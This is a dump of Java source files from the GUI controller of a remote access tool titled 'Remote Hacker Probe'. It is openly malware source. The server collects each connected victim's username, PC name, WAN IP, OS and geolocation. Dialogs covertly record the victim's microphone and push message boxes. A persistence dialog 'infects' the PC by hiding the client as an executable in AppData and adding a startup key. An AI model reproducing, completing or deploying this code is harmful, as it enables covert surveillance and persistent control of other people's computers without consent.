97 | public MicRecorder() { 98 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 99 | setResizable(false); 100 | setTitle("Remote Hacker Probe | Mic Recorder"); 101 | setBounds(100, 100, 299, 169); 102 | getContentPane().setLayout(new BorderLayout()); 103 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 104 | getContentPane().add(contentPanel, BorderLayout.CENTER); 105 | contentPanel.setLayout(null); 106 | 107 | 108 | jtb = new JToggleButton(mic); 109 | jtb.setToolTipText("Start Recording Microhpone"); 110 | 111 | lbl = new JLabel("Press Button below to Record"); 112 | lbl.setFont(new Font("Calibri", Font.PLAIN, 16)); 113 | lbl.setHorizontalAlignment(SwingConstants.CENTER); 114 | lbl.setBounds(0, 11, 273, 65); 115 | contentPanel.add(lbl); 116 | 117 | jtb.addItemListener(new ItemListener() { 118 | public void itemStateChanged(ItemEvent ev) { 119 | if(ev.getStateChange()==ItemEvent.SELECTED){ 120 | Server.SendData(Server.Clients.get(CLIENT_ID), "micstart"); // send instruction to start mic recording 121 | // expect no reply 122 | // go to thread.java:359 for response handling and to animate gui 123 | 124 | } else if(ev.getStateChange()==ItemEvent.DESELECTED){ 125 | String fl = MicFilename(); 126 | Server.SendData(Server.Clients.get(CLIENT_ID), "micstop:"+fl); 127 | jtb.setIcon(mic); 128 | Record = false; 129 | lbl.setText("Press Button below to Record"); 130 | try { 131 | TimeUnit.SECONDS.sleep(1); 132 | } catch (InterruptedException e) { 133 | // TODO Auto-generated catch block 134 | e.printStackTrace(); 135 | } // delay 1 136 | 137 | } 138 | } 139 | }); 140 | jtb.setBounds(10, 87, 263, 41); 141 | 142 | 143 | contentPanel.add(jtb); 144 | 145 | 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/MsgBox.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.JButton; 7 | import javax.swing.JDialog; 8 | import javax.swing.JPanel; 9 | import javax.swing.border.EmptyBorder; 10 | import javax.swing.JLabel; 11 | import java.awt.Font; 12 | import javax.swing.JTextField; 13 | import javax.swing.JComboBox; 14 | import java.awt.event.ActionListener; 15 | import java.util.concurrent.TimeUnit; 16 | import java.awt.event.ActionEvent; 17 | import javax.swing.SwingConstants; 18 | 19 | public class MsgBox extends JDialog { 20 | 21 | private final JPanel contentPanel = new JPanel(); 22 | private JTextField title; 23 | private JTextField msg; 24 | public static int CLIENT_ID; 25 | 26 | 27 | /** 28 | * Create the dialog. 29 | */ 30 | public MsgBox() { 31 | setResizable(false); 32 | setTitle("Remote Hacker Probe | Message Box"); 33 | setBounds(100, 100, 421, 217); 34 | getContentPane().setLayout(new BorderLayout()); 35 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 36 | getContentPane().add(contentPanel, BorderLayout.CENTER); 37 | contentPanel.setLayout(null); 38 | 39 | JLabel lblNewLabel = new JLabel("Message Box Title : "); 40 | lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12)); 41 | lblNewLabel.setBounds(10, 20, 114, 14); 42 | contentPanel.add(lblNewLabel); 43 | 44 | title = new JTextField(); 45 | title.setToolTipText("The Message Box title."); 46 | title.setFont(new Font("Consolas", Font.PLAIN, 11)); 47 | title.setBounds(134, 11, 255, 28); 48 | contentPanel.add(title); 49 | title.setColumns(10); 50 | 51 | JLabel lblMessageBoxMessage = new JLabel("Message : "); 52 | lblMessageBoxMessage.setFont(new Font("Calibri", Font.PLAIN, 12)); 53 | lblMessageBoxMessage.setBounds(10, 86, 58, 14); 54 | contentPanel.add(lblMessageBoxMessage); 55 | 56 | msg = new JTextField(); 57 | msg.setToolTipText("The Message box Message."); 58 | msg.setHorizontalAlignment(SwingConstants.CENTER); 59 | msg.setFont(new Font("Consolas", Font.PLAIN, 11)); 60 | msg.setColumns(10); 61 | msg.setBounds(76, 50, 313, 86); 62 | contentPanel.add(msg); 63 | 64 | String opts[] = {"Information Message", "Warning Message", "Error Message"}; 65 | JComboBox mode = new JComboBox(opts); 66 | mode.setToolTipText("Message box modes. Messagebox to be displayed as Information Message, Warning message or Error message.\r\n"); 67 | mode.setFont(new Font("Calibri", Font.PLAIN, 12)); 68 | mode.setBounds(137, 147, 153, 22); 69 | contentPanel.add(mode); 70 | 71 | JButton btnNewButton = new JButton("Send"); 72 | btnNewButton.addActionListener(new ActionListener() { 73 | public void actionPerformed(ActionEvent e) { 74 | String titletxt = title.getText(); 75 | String message = msg.getText(); 76 | String md = String.valueOf(mode.getSelectedIndex()); 77 | 78 | if(titletxt.length() > 0) 79 | { 80 | if(message.length() > 0) 81 | { 82 | try { 83 | Server.SendData(Server.Clients.get(CLIENT_ID), "msgbox:"+md); 84 | TimeUnit.MILLISECONDS.sleep(500); 85 | Server.SendData(Server.Clients.get(CLIENT_ID), titletxt); 86 | TimeUnit.MILLISECONDS.sleep(500); 87 | Server.SendData(Server.Clients.get(CLIENT_ID), message); 88 | ServerThread.WaitForReply(); 89 | } catch (InterruptedException e1) { 90 | // TODO Auto-generated catch block 91 | e1.printStackTrace(); 92 | } 93 | } 94 | } 95 | 96 | } 97 | }); 98 | btnNewButton.setFont(new Font("Calibri", Font.PLAIN, 12)); 99 | btnNewButton.setBounds(300, 147, 89, 23); 100 | contentPanel.add(btnNewButton); 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/MultiplyComposite.java: -------------------------------------------------------------------------------- 1 | // https://github.com/msteiger/jxmapviewer2/blob/master/examples/src/sample4_fancy/MultiplyComposite.java 2 | package rhp; 3 | 4 | 5 | import java.awt.Composite; 6 | import java.awt.CompositeContext; 7 | import java.awt.RenderingHints; 8 | import java.awt.image.ColorModel; 9 | import java.awt.image.DataBuffer; 10 | import java.awt.image.Raster; 11 | import java.awt.image.WritableRaster; 12 | 13 | /** 14 | * Multiplies two images 15 | * @author Martin Steiger 16 | */ 17 | public class MultiplyComposite implements Composite 18 | { 19 | /** 20 | * The default implementation 21 | */ 22 | public static final MultiplyComposite Default = new MultiplyComposite(); 23 | 24 | private MultiplyComposite() 25 | { 26 | // empty 27 | } 28 | 29 | @Override 30 | public CompositeContext createContext(ColorModel srcColorModel, ColorModel dstColorModel, RenderingHints hints) 31 | { 32 | return new CompositeContext() 33 | { 34 | @Override 35 | public void compose(Raster src, Raster dstIn, WritableRaster dstOut) 36 | { 37 | if (src.getSampleModel().getDataType() != DataBuffer.TYPE_INT 38 | || dstIn.getSampleModel().getDataType() != DataBuffer.TYPE_INT 39 | || dstOut.getSampleModel().getDataType() != DataBuffer.TYPE_INT) 40 | { 41 | throw new IllegalStateException("Source and destination must store pixels as INT."); 42 | } 43 | 44 | int width = Math.min(src.getWidth(), dstIn.getWidth()); 45 | int height = Math.min(src.getHeight(), dstIn.getHeight()); 46 | 47 | int[] srcPixel = new int[4]; 48 | int[] dstPixel = new int[4]; 49 | int[] srcPixels = new int[width]; 50 | int[] dstPixels = new int[width]; 51 | 52 | for (int y = 0; y < height; y++) 53 | { 54 | src.getDataElements(0, y, width, 1, srcPixels); 55 | dstIn.getDataElements(0, y, width, 1, dstPixels); 56 | 57 | for (int x = 0; x < width; x++) 58 | { 59 | // pixels are stored as INT_ARGB 60 | // our arrays are [R, G, B, A] 61 | int pixel = srcPixels[x]; 62 | srcPixel[0] = (pixel >> 16) & 0xFF; 63 | srcPixel[1] = (pixel >> 8) & 0xFF; 64 | srcPixel[2] = (pixel >> 0) & 0xFF; 65 | srcPixel[3] = (pixel >> 24) & 0xFF; 66 | 67 | pixel = dstPixels[x]; 68 | dstPixel[0] = (pixel >> 16) & 0xFF; 69 | dstPixel[1] = (pixel >> 8) & 0xFF; 70 | dstPixel[2] = (pixel >> 0) & 0xFF; 71 | dstPixel[3] = (pixel >> 24) & 0xFF; 72 | 73 | int[] result = new int[] 74 | { 75 | (srcPixel[0] * dstPixel[0]) >> 8, 76 | (srcPixel[1] * dstPixel[1]) >> 8, 77 | (srcPixel[2] * dstPixel[2]) >> 8, 78 | (srcPixel[3] * dstPixel[3]) >> 8 79 | }; 80 | 81 | // mixes the result with the opacity 82 | dstPixels[x] = 83 | (result[3] ) << 24 84 | | (result[0] ) << 16 85 | | (result[1] ) << 8 86 | | (result[2] ); 87 | } 88 | dstOut.setDataElements(0, y, width, 1, dstPixels); 89 | } 90 | } 91 | 92 | @Override 93 | public void dispose() 94 | { 95 | // empty 96 | } 97 | }; 98 | } 99 | } -------------------------------------------------------------------------------- /gui/src/main/java/rhp/MyWaypoint.java: -------------------------------------------------------------------------------- 1 | 2 | package rhp; 3 | 4 | import java.awt.Color; 5 | 6 | import org.jxmapviewer.viewer.DefaultWaypoint; 7 | import org.jxmapviewer.viewer.GeoPosition; 8 | 9 | /** 10 | * A waypoint that also has a color and a label 11 | * @author Martin Steiger 12 | */ 13 | public class MyWaypoint extends DefaultWaypoint 14 | { 15 | private final String label; 16 | private final Color color; 17 | 18 | /** 19 | * @param label the text 20 | * @param color the color 21 | * @param coord the coordinate 22 | */ 23 | public MyWaypoint(String label, Color color, GeoPosition coord) 24 | { 25 | super(coord); 26 | this.label = label; 27 | this.color = color; 28 | } 29 | 30 | /** 31 | * @return the label text 32 | */ 33 | public String getLabel() 34 | { 35 | return label; 36 | } 37 | 38 | /** 39 | * @return the color 40 | */ 41 | public Color getColor() 42 | { 43 | return color; 44 | } 45 | 46 | } -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Persist.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.JButton; 7 | import javax.swing.JDialog; 8 | import javax.swing.JPanel; 9 | import javax.swing.border.EmptyBorder; 10 | import javax.swing.event.DocumentEvent; 11 | import javax.swing.event.DocumentListener; 12 | import javax.swing.JCheckBox; 13 | import java.awt.Font; 14 | import java.awt.event.ItemEvent; 15 | import java.awt.event.ItemListener; 16 | import java.util.concurrent.TimeUnit; 17 | 18 | import javax.swing.JLabel; 19 | import javax.swing.JOptionPane; 20 | import javax.swing.JTextField; 21 | import java.awt.event.ActionListener; 22 | import java.awt.event.ActionEvent; 23 | 24 | public class Persist extends JDialog { 25 | 26 | private final JPanel contentPanel = new JPanel(); 27 | private JTextField hiddenfoldername; 28 | private JTextField fullpth; 29 | String username; 30 | int CLIENT_ID; 31 | private JTextField hiddenfilename; 32 | JCheckBox infect; 33 | private JTextField keyname; 34 | 35 | /** 36 | * Create the dialog. 37 | */ 38 | public Persist() { 39 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 40 | setTitle("Remote Hacker Probe | Persistence"); 41 | setResizable(false); 42 | setBounds(100, 100, 416, 241); 43 | getContentPane().setLayout(new BorderLayout()); 44 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 45 | getContentPane().add(contentPanel, BorderLayout.CENTER); 46 | contentPanel.setLayout(null); 47 | 48 | infect = new JCheckBox("Infect this PC"); 49 | infect.setFont(new Font("Calibri", Font.PLAIN, 12)); 50 | infect.setBounds(6, 7, 388, 25); 51 | infect.addItemListener(new ItemListener() { 52 | @Override 53 | public void itemStateChanged(ItemEvent e) { 54 | if(e.getStateChange() == ItemEvent.SELECTED) {//checkbox has been selected 55 | hiddenfoldername.setEditable(true); 56 | hiddenfilename.setEditable(true); 57 | } else { 58 | hiddenfoldername.setEditable(false); 59 | hiddenfilename.setEditable(false); 60 | }; 61 | } 62 | }); 63 | contentPanel.add(infect); 64 | 65 | JLabel lblNewLabel = new JLabel("Hidden Folder name : "); 66 | lblNewLabel.setToolTipText("Hidden Folder name. The folder name to use when infecting the PC."); 67 | lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12)); 68 | lblNewLabel.setBounds(10, 80, 128, 14); 69 | contentPanel.add(lblNewLabel); 70 | 71 | hiddenfoldername = new JTextField(); 72 | hiddenfoldername.setEditable(false); 73 | hiddenfoldername.setFont(new Font("Consolas", Font.PLAIN, 13)); 74 | hiddenfoldername.setBounds(143, 76, 251, 23); 75 | contentPanel.add(hiddenfoldername); 76 | hiddenfoldername.setColumns(10); 77 | hiddenfoldername.getDocument().addDocumentListener(new DocumentListener() { 78 | public void changedUpdate(DocumentEvent e) { 79 | //System.out.println("changedupdate"); 80 | } 81 | 82 | @Override 83 | public void insertUpdate(DocumentEvent e) { 84 | // TODO Auto-generated method stub 85 | if(hiddenfilename.getText().length() > 0) 86 | { 87 | String filename = hiddenfilename.getText(); 88 | String foldername = hiddenfoldername.getText(); 89 | fullpth.setText("C:\\Users\\" + username +"\\AppData\\Roaming\\" +foldername + "\\" + filename + ".exe"); 90 | } 91 | 92 | //System.out.println("insertUpdate"); 93 | 94 | } 95 | 96 | @Override 97 | public void removeUpdate(DocumentEvent e) { 98 | // TODO Auto-generated method stub 99 | //System.out.println("removeUpdate"); 100 | 101 | } 102 | 103 | }); 104 | 105 | JLabel lblNewLabel_1 = new JLabel("Probe will hide in : "); 106 | lblNewLabel_1.setFont(new Font("Calibri", Font.PLAIN, 12)); 107 | lblNewLabel_1.setBounds(10, 114, 114, 14); 108 | contentPanel.add(lblNewLabel_1); 109 | 110 | fullpth = new JTextField(); 111 | fullpth.setToolTipText("Full Path to where the Client will be installed."); 112 | fullpth.setEditable(false); 113 | fullpth.setFont(new Font("Consolas", Font.PLAIN, 12)); 114 | fullpth.setBounds(143, 110, 251, 23); 115 | contentPanel.add(fullpth); 116 | fullpth.setColumns(10); 117 | 118 | JCheckBox addkey = new JCheckBox("Add Startup Key "); 119 | addkey.setSelected(true); 120 | addkey.setFont(new Font("Calibri", Font.PLAIN, 12)); 121 | addkey.setBounds(6, 135, 388, 23); 122 | addkey.addItemListener(new ItemListener() { 123 | @Override 124 | public void itemStateChanged(ItemEvent e) { 125 | if(e.getStateChange() == ItemEvent.SELECTED) { 126 | keyname.setEditable(true); 127 | } else { 128 | keyname.setEditable(false); 129 | }; 130 | } 131 | }); 132 | contentPanel.add(addkey); 133 | 134 | JButton btnNewButton = new JButton("Go"); 135 | btnNewButton.addActionListener(new ActionListener() { 136 | public void actionPerformed(ActionEvent e) { 137 | if(infect.isSelected()) 138 | { 139 | if(hiddenfilename.getText().length() > 0) 140 | { 141 | if(hiddenfoldername.getText().length() > 0) 142 | { 143 | if(hiddenfilename.getText().contains(" ")) { 144 | JOptionPane.showMessageDialog(null, "Filename must not contain spaces.", "Error", 0, null); 145 | } else if(hiddenfilename.getText().contains(":")) { 146 | JOptionPane.showMessageDialog(null, "Filename must not Colons or semicolons.", "Error", 0, null); 147 | } else { 148 | // Infect the pc 149 | String foldername = hiddenfoldername.getText(); 150 | String filename = hiddenfilename.getText() + ".exe"; 151 | String trigger = "persist:" + foldername + ":" + filename; 152 | 153 | Server.SendData(Server.Clients.get(CLIENT_ID), trigger); 154 | ServerThread.WaitForReply(); 155 | } 156 | } 157 | } 158 | 159 | else { 160 | JOptionPane.showMessageDialog(null, "One or more values have been left empty.", "Error", 0, null); 161 | } 162 | } 163 | 164 | 165 | if(addkey.isSelected()) 166 | { 167 | try { 168 | TimeUnit.SECONDS.sleep(1); 169 | } catch (InterruptedException e1) { 170 | // TODO Auto-generated catch block 171 | e1.printStackTrace(); 172 | } 173 | String KeyName = keyname.getText(); 174 | String fullpath = fullpth.getText(); 175 | 176 | if(KeyName.length() > 0) 177 | { 178 | if(fullpath.length() > 0) 179 | { 180 | if(infect.isSelected()) 181 | { 182 | String triggerKey = "startupkey=" + fullpath + "=" + KeyName; 183 | Server.SendData(Server.Clients.get(CLIENT_ID), triggerKey); 184 | ServerThread.WaitForReply(); 185 | } 186 | } else { 187 | String triggerKey = "startupkey=NULL=" + KeyName; 188 | Server.SendData(Server.Clients.get(CLIENT_ID), triggerKey); 189 | ServerThread.WaitForReply(); 190 | } 191 | } else { 192 | JOptionPane.showMessageDialog(null, "One or more values have been left empty.", "Error", 0, null); 193 | } 194 | 195 | } 196 | 197 | } 198 | }); 199 | btnNewButton.setFont(new Font("Calibri", Font.PLAIN, 12)); 200 | btnNewButton.setBounds(305, 168, 89, 23); 201 | contentPanel.add(btnNewButton); 202 | 203 | JLabel hiddenfl = new JLabel("Hidden File Name : "); 204 | hiddenfl.setFont(new Font("Calibri", Font.PLAIN, 12)); 205 | hiddenfl.setBounds(10, 47, 114, 14); 206 | contentPanel.add(hiddenfl); 207 | 208 | hiddenfilename = new JTextField(); 209 | hiddenfilename.setToolTipText("Hidden File name. The filename to use when infecting the PC."); 210 | hiddenfilename.setFont(new Font("Consolas", Font.PLAIN, 12)); 211 | hiddenfilename.setEditable(false); 212 | hiddenfilename.setBounds(143, 39, 251, 23); 213 | contentPanel.add(hiddenfilename); 214 | hiddenfilename.setColumns(10); 215 | 216 | JLabel lblNewLabel_2 = new JLabel("Key name : "); 217 | lblNewLabel_2.setFont(new Font("Calibri", Font.PLAIN, 12)); 218 | lblNewLabel_2.setBounds(14, 172, 67, 14); 219 | contentPanel.add(lblNewLabel_2); 220 | 221 | keyname = new JTextField(); 222 | keyname.setToolTipText("The name to use when adding a startup key."); 223 | keyname.setFont(new Font("Consolas", Font.PLAIN, 12)); 224 | keyname.setBounds(75, 165, 220, 26); 225 | contentPanel.add(keyname); 226 | keyname.setColumns(10); 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Register.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Component; 5 | import java.awt.FlowLayout; 6 | 7 | import javax.swing.JButton; 8 | import javax.swing.JDialog; 9 | import javax.swing.JPanel; 10 | import javax.swing.border.EmptyBorder; 11 | import org.json.simple.JSONObject; 12 | import org.json.simple.parser.JSONParser; 13 | import org.apache.http.HttpResponse; 14 | import org.apache.http.ParseException; 15 | import org.apache.http.client.methods.HttpPost; 16 | import org.apache.http.entity.StringEntity; 17 | import org.apache.http.impl.client.DefaultHttpClient; 18 | 19 | import javax.swing.GroupLayout; 20 | import javax.swing.GroupLayout.Alignment; 21 | import javax.swing.JLabel; 22 | import javax.swing.JOptionPane; 23 | 24 | import java.awt.Font; 25 | import javax.swing.SwingConstants; 26 | import javax.swing.SwingUtilities; 27 | import javax.swing.LayoutStyle.ComponentPlacement; 28 | import javax.swing.JTextField; 29 | import java.awt.event.ActionListener; 30 | import java.io.BufferedReader; 31 | import java.io.File; 32 | import java.io.FileWriter; 33 | import java.io.IOException; 34 | import java.io.InputStreamReader; 35 | import java.io.UnsupportedEncodingException; 36 | import java.net.InetAddress; 37 | import java.net.UnknownHostException; 38 | import java.awt.event.ActionEvent; 39 | 40 | public class Register extends JDialog { 41 | 42 | private final JPanel contentPanel = new JPanel(); 43 | private JTextField textField; 44 | 45 | public void RegisterUserOnDisk(String user) 46 | { 47 | try { 48 | if(user.length() > 0) { 49 | FileWriter rewrite = new FileWriter("user.ini", false); 50 | rewrite.write("username="+user); 51 | rewrite.close(); 52 | JOptionPane.showMessageDialog(null, 53 | "Success!"+ 54 | "\nLet's go, " + user + "!"); 55 | MainWindow.userlbl.setText("User : " + Settings.userSetting("username")); 56 | 57 | this.dispose(); 58 | 59 | StartupWindow sw = new StartupWindow(); 60 | sw.setVisible(true); 61 | } 62 | } catch (IOException e) { 63 | e.printStackTrace(); 64 | } 65 | } 66 | 67 | 68 | /** 69 | * Create the dialog. 70 | */ 71 | public Register() { 72 | setTitle("Remote Hacker Probe | Authentication"); 73 | setResizable(false); 74 | setBounds(100, 100, 323, 198); 75 | getContentPane().setLayout(new BorderLayout()); 76 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 77 | getContentPane().add(contentPanel, BorderLayout.CENTER); 78 | JLabel lblNewLabel = new JLabel("The Remote Hacker Probe"); 79 | lblNewLabel.setHorizontalAlignment(SwingConstants.CENTER); 80 | lblNewLabel.setFont(new Font("Calibri", Font.BOLD, 13)); 81 | JLabel lblNewLabel_1 = new JLabel("Welcome to the Remote Hacker Probe!
To start, Enter a Username."); 82 | lblNewLabel_1.setFont(new Font("Calibri", Font.PLAIN, 12)); 83 | lblNewLabel_1.setHorizontalAlignment(SwingConstants.CENTER); 84 | 85 | textField = new JTextField(); 86 | textField.setFont(new Font("Consolas", Font.PLAIN, 12)); 87 | textField.setColumns(10); 88 | 89 | JLabel lblNewLabel_2 = new JLabel("Username : "); 90 | lblNewLabel_2.setFont(new Font("Calibri", Font.BOLD, 12)); 91 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel); 92 | gl_contentPanel.setHorizontalGroup( 93 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 94 | .addGroup(gl_contentPanel.createSequentialGroup() 95 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 96 | .addGroup(gl_contentPanel.createSequentialGroup() 97 | .addContainerGap() 98 | .addComponent(lblNewLabel_2, GroupLayout.DEFAULT_SIZE, 72, Short.MAX_VALUE) 99 | .addPreferredGap(ComponentPlacement.RELATED) 100 | .addComponent(textField, GroupLayout.DEFAULT_SIZE, 184, Short.MAX_VALUE)) 101 | .addGroup(gl_contentPanel.createSequentialGroup() 102 | .addContainerGap() 103 | .addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 250, GroupLayout.PREFERRED_SIZE)) 104 | .addGroup(gl_contentPanel.createSequentialGroup() 105 | .addGap(66) 106 | .addComponent(lblNewLabel))) 107 | .addGap(27)) 108 | ); 109 | gl_contentPanel.setVerticalGroup( 110 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 111 | .addGroup(gl_contentPanel.createSequentialGroup() 112 | .addContainerGap() 113 | .addComponent(lblNewLabel) 114 | .addGap(1) 115 | .addComponent(lblNewLabel_1, GroupLayout.PREFERRED_SIZE, 39, GroupLayout.PREFERRED_SIZE) 116 | .addPreferredGap(ComponentPlacement.RELATED) 117 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.BASELINE) 118 | .addGroup(gl_contentPanel.createSequentialGroup() 119 | .addGap(5) 120 | .addComponent(lblNewLabel_2, GroupLayout.DEFAULT_SIZE, 25, Short.MAX_VALUE)) 121 | .addComponent(textField, GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE)) 122 | .addGap(10)) 123 | ); 124 | contentPanel.setLayout(gl_contentPanel); 125 | { 126 | JPanel buttonPane = new JPanel(); 127 | buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT)); 128 | getContentPane().add(buttonPane, BorderLayout.SOUTH); 129 | { 130 | JButton cancelButton = new JButton("Cancel"); 131 | cancelButton.setFont(new Font("Calibri", Font.PLAIN, 13)); 132 | cancelButton.addActionListener(new ActionListener() { 133 | public void actionPerformed(ActionEvent e) { 134 | System.exit(0); 135 | } 136 | }); 137 | 138 | JButton btnNewButton = new JButton("Lets Start"); 139 | buttonPane.add(btnNewButton); 140 | btnNewButton.addActionListener(new ActionListener() { 141 | public void actionPerformed(ActionEvent e) { 142 | String key = textField.getText(); 143 | RegisterUserOnDisk(key); 144 | } 145 | }); 146 | btnNewButton.setFont(new Font("Calibri", Font.PLAIN, 12)); 147 | cancelButton.setActionCommand("Cancel"); 148 | buttonPane.add(cancelButton); 149 | } 150 | } 151 | } 152 | } 153 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Server.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.net.*; 4 | import java.util.ArrayList; 5 | import java.util.Arrays; 6 | 7 | import javax.swing.ImageIcon; 8 | import javax.swing.JOptionPane; 9 | 10 | import com.maxmind.geoip2.DatabaseReader; 11 | import com.maxmind.geoip2.exception.GeoIp2Exception; 12 | import com.maxmind.geoip2.model.CityResponse; 13 | import com.maxmind.geoip2.record.City; 14 | import com.maxmind.geoip2.record.Country; 15 | import com.maxmind.geoip2.record.Location; 16 | import com.maxmind.geoip2.record.Postal; 17 | import com.maxmind.geoip2.record.Subdivision; 18 | 19 | import java.io.*; 20 | 21 | public class Server { 22 | static ArrayList Clients = new ArrayList(); 23 | static ArrayList OperatingSystem = new ArrayList(); 24 | static ArrayList WANIP = new ArrayList(); 25 | static ArrayList UserPC = new ArrayList(); 26 | public static int server_port; 27 | public static String server_host; 28 | public static ServerSocket mainsocket; 29 | public static Socket clientsocket; 30 | static byte[] buffer = new byte[4096]; 31 | 32 | 33 | public static String ReturnLocation(int mode) 34 | { 35 | String dbLocation = "GeoLite2-City.mmdb"; 36 | File database = new File(dbLocation); 37 | String ip = WANIP.get(Clients.indexOf(clientsocket)); 38 | DatabaseReader dbReader; 39 | String countryName = null; 40 | try { 41 | dbReader = new DatabaseReader.Builder(database) 42 | .build(); 43 | if(ip.startsWith("No")) { 44 | countryName = "Failed to Get"; 45 | } else { 46 | InetAddress ipAddress = InetAddress.getByName(ip); 47 | CityResponse response; 48 | try { 49 | response = dbReader.city(ipAddress); 50 | countryName = response.getCountry().getName(); 51 | String isocode = response.getCountry().getIsoCode(); 52 | Subdivision subdivision = response.getMostSpecificSubdivision(); 53 | String subd = subdivision.getName(); 54 | if(mode==0) 55 | { 56 | return countryName; 57 | } else { 58 | return countryName + " Subdivision : " + subd; 59 | } 60 | 61 | } catch (GeoIp2Exception e) { 62 | // TODO Auto-generated catch block 63 | e.printStackTrace(); 64 | } 65 | } 66 | 67 | } catch (IOException e) { 68 | // TODO Auto-generated catch block 69 | e.printStackTrace(); 70 | } 71 | return countryName; 72 | } 73 | 74 | static void SendData(Socket sock, String data) 75 | { 76 | try { 77 | OutputStream outputStream = sock.getOutputStream(); 78 | DataOutputStream dataOutputStream = new DataOutputStream(outputStream); 79 | dataOutputStream.write(data.getBytes()); 80 | dataOutputStream.flush(); 81 | } catch (IOException e) { 82 | // TODO Auto-generated catch block 83 | e.printStackTrace(); 84 | } catch (NullPointerException ne) { 85 | ne.printStackTrace(); 86 | } 87 | } 88 | 89 | public void getInformation() 90 | { 91 | int read; 92 | try { 93 | InputStream is = clientsocket.getInputStream(); 94 | PrintWriter pw = new PrintWriter(clientsocket.getOutputStream()); 95 | 96 | // Get USER PCs 97 | SendData(clientsocket, "RHP_1"); 98 | Arrays.fill(buffer, (byte)0); 99 | read = is.read(buffer); 100 | String user_pc = new String(buffer, 0, read); 101 | 102 | // Get WAN IP 103 | SendData(clientsocket, "RHP_2"); 104 | Arrays.fill(buffer, (byte)0); 105 | read = is.read(buffer); 106 | String wanip = new String(buffer, 0, read); 107 | 108 | SendData(clientsocket, "RHP_3"); 109 | Arrays.fill(buffer, (byte)0); 110 | read = is.read(buffer); 111 | String operating_system = new String(buffer, 0, read); 112 | 113 | WANIP.add(wanip); 114 | OperatingSystem.add(operating_system); 115 | UserPC.add(user_pc); 116 | int id = Clients.indexOf(clientsocket); 117 | 118 | try { 119 | MainWindow.model.addRow(new Object[] { 120 | String.valueOf(id), clientsocket.getRemoteSocketAddress().toString().replace("/", "").split(":")[0], clientsocket.getRemoteSocketAddress().toString().replace("/", "").split(":")[1], user_pc.split("/")[0], user_pc.split("/")[1], 121 | operating_system, 122 | wanip, 123 | ReturnLocation(0) 124 | } 125 | ); 126 | 127 | MainWindow.Log("Connection Established from " + clientsocket.getRemoteSocketAddress().toString()); 128 | } catch (Exception e) 129 | { 130 | e.printStackTrace(); 131 | } 132 | 133 | 134 | new ServerThread(clientsocket).start(); 135 | 136 | } catch (IOException e) { 137 | // TODO Auto-generated catch block 138 | e.printStackTrace(); 139 | } 140 | 141 | } 142 | 143 | 144 | 145 | Thread tcpserver = new Thread(new Runnable() { 146 | 147 | @Override 148 | public void run() { 149 | try { 150 | mainsocket = new ServerSocket(server_port); 151 | } catch (java.net.BindException s) { 152 | JOptionPane.showMessageDialog(null, "Bind Error : " + s.toString()); 153 | System.exit(0); 154 | } 155 | catch (IOException e) { 156 | // TODO Auto-generated catch block 157 | e.printStackTrace(); 158 | } 159 | while(true) { 160 | try { 161 | clientsocket = mainsocket.accept(); 162 | Clients.add(clientsocket); 163 | MainWindow.UpdateOnlineLabel(); 164 | getInformation(); 165 | } catch (IOException e) { 166 | // TODO Auto-generated catch block 167 | e.printStackTrace(); 168 | } 169 | 170 | } 171 | } 172 | }); 173 | 174 | } -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Settings.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | import java.io.FileInputStream; 6 | import java.io.FileNotFoundException; 7 | import java.io.FileOutputStream; 8 | import java.io.FileWriter; 9 | import java.io.IOException; 10 | import java.io.InputStream; 11 | import java.util.ArrayList; 12 | import java.util.Properties; 13 | 14 | import javax.swing.JButton; 15 | import javax.swing.JDialog; 16 | import javax.swing.JOptionPane; 17 | import javax.swing.JPanel; 18 | import javax.swing.border.EmptyBorder; 19 | import javax.swing.JLabel; 20 | import java.awt.Font; 21 | import javax.swing.JTextField; 22 | import java.awt.event.ActionListener; 23 | import java.awt.event.ActionEvent; 24 | import javax.swing.GroupLayout; 25 | import javax.swing.GroupLayout.Alignment; 26 | import javax.swing.LayoutStyle.ComponentPlacement; 27 | import javax.swing.JComboBox; 28 | 29 | public class Settings extends JDialog { 30 | 31 | private final JPanel contentPanel = new JPanel(); 32 | private JTextField Host; 33 | private JTextField Port; 34 | 35 | /** 36 | * Create the dialog. 37 | */ 38 | 39 | 40 | 41 | public static String userSetting(String key) { 42 | Properties prop = new Properties(); 43 | String fileName = "user.ini"; 44 | InputStream is = null; 45 | String ret = ""; 46 | try { 47 | is = new FileInputStream(fileName); 48 | try { 49 | prop.load(is); 50 | ret = prop.getProperty(key); 51 | } catch (IOException ex) { 52 | ex.printStackTrace(); 53 | } 54 | } catch (FileNotFoundException ex) { 55 | ret = "FILE_NOT_FOUND"; 56 | } 57 | 